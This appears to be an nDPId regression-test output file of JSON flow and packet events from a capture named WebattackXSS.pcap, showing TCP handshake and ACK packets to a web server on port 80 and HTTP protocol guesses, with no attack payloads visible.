+00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":8987,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":634,"flow_packet_id":1,"flow_first_seen":1499348052641,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":35464,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":634,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8987,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348052,"pkt_ts_usec":641614,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8j\/xAAD4GNdSsEAABwKgKMoqIAFBipISJAAAAAKACchDgSwAAAgQFtAQCCAoBPQt1AAAAAAEDAwc="} +00444{"flow_id":634,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8988,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348052,"pkt_ts_usec":641737,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQiogIs7XwYqSEiqAScSBBtwAAAgQFtAQCCAoD5tzpAT0LdQEDAwc="} +00433{"flow_id":634,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8989,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348052,"pkt_ts_usec":642481,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0j\/1AAD4GNdusEAABwKgKMoqIAFBipISKCLO18YAQAOXgvQAAAQEICgE9C3YD5tzp"} +00432{"flow_id":631,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8993,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348052,"pkt_ts_usec":912419,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0PrVAAD4GhyOsEAABwKgKMopSAFC7TzjQgWKvWYARAOVmoAAAAQEICgE9C7kD5tfw"} +00432{"flow_id":631,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8994,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348052,"pkt_ts_usec":912693,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0cnRAAEAGUWTAqAoyrBAAAQBQilKBYq9Zu0840YARAONhZAAAAQEICgPm3S0BPQu5"} +00432{"flow_id":631,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8995,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348052,"pkt_ts_usec":913434,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0PrZAAD4GhyKsEAABwKgKMopSAFC7TzjRgWKvWoAQAOVhYgAAAQEICgE9C7kD5t0t"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":9005,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":635,"flow_packet_id":1,"flow_first_seen":1499348055228,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":35490,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":635,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9005,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348055,"pkt_ts_usec":228139,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8W0hAAD4GaoisEAABwKgKMoqiAFBaIFa0AAAAAKACchAUBAAAAgQFtAQCCAoBPQ38AAAAAAEDAwc="} +00446{"flow_id":635,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9006,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348055,"pkt_ts_usec":228264,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQiqK\/mxmbWiBWtaAScSBYVQAAAgQFtAQCCAoD5t9wAT0N\/AEDAwc="} +00432{"flow_id":635,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9007,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348055,"pkt_ts_usec":229028,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0W0lAAD4Gao+sEAABwKgKMoqiAFBaIFa1v5sZnIAQAOX3XAAAAQEICgE9DfwD5t9w"} +00433{"flow_id":632,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9011,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348055,"pkt_ts_usec":912581,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Gn9AAD4Gq1msEAABwKgKMopsAFCVUBKJMN\/rL4ARAOXCEgAAAQEICgE9DqcD5tpp"} +00432{"flow_id":632,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9012,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348055,"pkt_ts_usec":912812,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0CzRAAEAGuKTAqAoyrBAAAQBQimww3+svlVASioARAOO8YQAAAQEICgPm4BsBPQ6n"} +00433{"flow_id":632,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9013,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348055,"pkt_ts_usec":913596,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0GoBAAD4Gq1isEAABwKgKMopsAFCVUBKKMN\/rMIAQAOW8XwAAAQEICgE9DqcD5uAb"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":9017,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":636,"flow_packet_id":1,"flow_first_seen":1499348056534,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":35504,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":636,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9017,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348056,"pkt_ts_usec":534889,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8LdZAAD4Gl\/qsEAABwKgKMoqwAFDDZCKVAAAAAKACchDdiQAAAgQFtAQCCAoBPQ9DAAAAAAEDAwc="} +00444{"flow_id":636,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9018,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348056,"pkt_ts_usec":535022,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQirDnT6dMw2QilqAScSBrLgAAAgQFtAQCCAoD5uC3AT0PQwEDAwc="} +00432{"flow_id":636,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9019,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348056,"pkt_ts_usec":535783,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0LddAAD4GmAGsEAABwKgKMoqwAFDDZCKW50+nTYAQAOUKNgAAAQEICgE9D0MD5uC3"} +00432{"flow_id":633,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9023,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348056,"pkt_ts_usec":912866,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0ntZAAD4GJwKsEAABwKgKMop6AFCG4ZTjsdh1coARAOVAowAAAQEICgE9D6ED5tup"} +00432{"flow_id":633,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9024,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348056,"pkt_ts_usec":913088,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0lGdAAEAGL3HAqAoyrBAAAQBQinqx2HVyhuGU5IARAOM7OAAAAQEICgPm4RUBPQ+h"} +00432{"flow_id":633,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9025,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348056,"pkt_ts_usec":913859,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0ntdAAD4GJwGsEAABwKgKMop6AFCG4ZTksdh1c4AQAOU7NQAAAQEICgE9D6ID5uEV"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":9029,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":637,"flow_packet_id":1,"flow_first_seen":1499348057789,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":35518,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":637,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9029,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348057,"pkt_ts_usec":789900,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8cW1AAD4GVGOsEAABwKgKMoq+AFBo3mEQAAAAAKACchD4TAAAAgQFtAQCCAoBPRB9AAAAAAEDAwc="} +00444{"flow_id":637,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9030,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348057,"pkt_ts_usec":790003,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQir7ZkVGbaN5hEaAScSDoJwAAAgQFtAQCCAoD5uHwAT0QfQEDAwc="} +00432{"flow_id":637,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9031,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348057,"pkt_ts_usec":790582,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0cW5AAD4GVGqsEAABwKgKMoq+AFBo3mER2ZFRnIAQAOWHLwAAAQEICgE9EH0D5uHw"} +00433{"flow_id":634,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9035,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348057,"pkt_ts_usec":913100,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0j\/5AAD4GNdqsEAABwKgKMoqIAFBipISKCLO18YARAOXblwAAAQEICgE9EJsD5tzp"} +00433{"flow_id":634,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9036,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348057,"pkt_ts_usec":913385,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0V\/5AAEAGa9rAqAoyrBAAAQBQiogIs7XxYqSEi4ARAOPWcgAAAQEICgPm4g8BPRCb"} +00433{"flow_id":634,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9037,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348057,"pkt_ts_usec":914097,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0j\/9AAD4GNdmsEAABwKgKMoqIAFBipISLCLO18oAQAOXWbwAAAQEICgE9EJwD5uIP"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":9041,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":638,"flow_packet_id":1,"flow_first_seen":1499348059068,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":35532,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":638,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9041,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348059,"pkt_ts_usec":68980,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8SJlAAD4GfTesEAABwKgKMorMAFAzNVklAAAAAKACchA0lAAAAgQFtAQCCAoBPRG8AAAAAAEDAwc="} +00443{"flow_id":638,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9042,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348059,"pkt_ts_usec":69115,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQisz9Lu2rMzVZJqAScSBjgQAAAgQFtAQCCAoD5uMwAT0RvAEDAwc="} +00432{"flow_id":638,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9043,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348059,"pkt_ts_usec":69889,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0SJpAAD4GfT6sEAABwKgKMorMAFAzNVkm\/S7trIAQAOUCiAAAAQEICgE9Eb0D5uMw"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":9050,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":639,"flow_packet_id":1,"flow_first_seen":1499348060393,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":35546,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":639,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9050,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348060,"pkt_ts_usec":393569,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA80ItAAD4G9USsEAABwKgKMoraAFD\/pcOMAAAAAKACchD8YgAAAgQFtAQCCAoBPRMHAAAAAAEDAwc="} +00445{"flow_id":639,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9051,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348060,"pkt_ts_usec":393691,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQitr3giqS\/6XDjaAScSDyygAAAgQFtAQCCAoD5uR7AT0TBwEDAwc="} +00433{"flow_id":639,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9052,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348060,"pkt_ts_usec":394271,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA00IxAAD4G9UusEAABwKgKMoraAFD\/pcON94Iqk4AQAOWR0QAAAQEICgE9EwgD5uR7"} +00432{"flow_id":635,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9056,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348060,"pkt_ts_usec":912971,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0W0pAAD4Gao6sEAABwKgKMoqiAFBaIFa1v5sZnIARAOXxzgAAAQEICgE9E4kD5t9w"} +00434{"flow_id":635,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9057,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348060,"pkt_ts_usec":913189,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0\/WFAAEAGxnbAqAoyrBAAAQBQiqK\/mxmcWiBWtoARAOPsQgAAAQEICgPm5P0BPROJ"} +00432{"flow_id":635,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9058,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348060,"pkt_ts_usec":913929,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0W0tAAD4Gao2sEAABwKgKMoqiAFBaIFa2v5sZnYAQAOXsPwAAAQEICgE9E4oD5uT9"} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":9059,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":598,"flow_packet_id":6,"flow_first_seen":1499347988233,"flow_last_seen":1499347993896,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34792,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":9059,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":598,"flow_packet_id":6,"flow_first_seen":1499347988233,"flow_last_seen":1499347993896,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34792,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":9059,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":599,"flow_packet_id":6,"flow_first_seen":1499347989526,"flow_last_seen":1499347994896,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34806,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":9059,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":599,"flow_packet_id":6,"flow_first_seen":1499347989526,"flow_last_seen":1499347994896,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34806,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":9059,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":600,"flow_packet_id":6,"flow_first_seen":1499347992139,"flow_last_seen":1499347997898,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34832,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":9059,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":600,"flow_packet_id":6,"flow_first_seen":1499347992139,"flow_last_seen":1499347997898,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34832,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":9059,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":601,"flow_packet_id":6,"flow_first_seen":1499347993411,"flow_last_seen":1499347998898,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34846,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":9059,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":601,"flow_packet_id":6,"flow_first_seen":1499347993411,"flow_last_seen":1499347998898,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34846,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":9059,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":602,"flow_packet_id":6,"flow_first_seen":1499347994680,"flow_last_seen":1499347999898,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34860,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":9059,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":602,"flow_packet_id":6,"flow_first_seen":1499347994680,"flow_last_seen":1499347999898,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34860,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":9062,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":640,"flow_packet_id":1,"flow_first_seen":1499348061684,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":35560,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":640,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9062,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348061,"pkt_ts_usec":684202,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8R+ZAAD4GfeqsEAABwKgKMoroAFA+FlOsAAAAAKACchAsggAAAgQFtAQCCAoBPRRKAAAAAAEDAwc="} 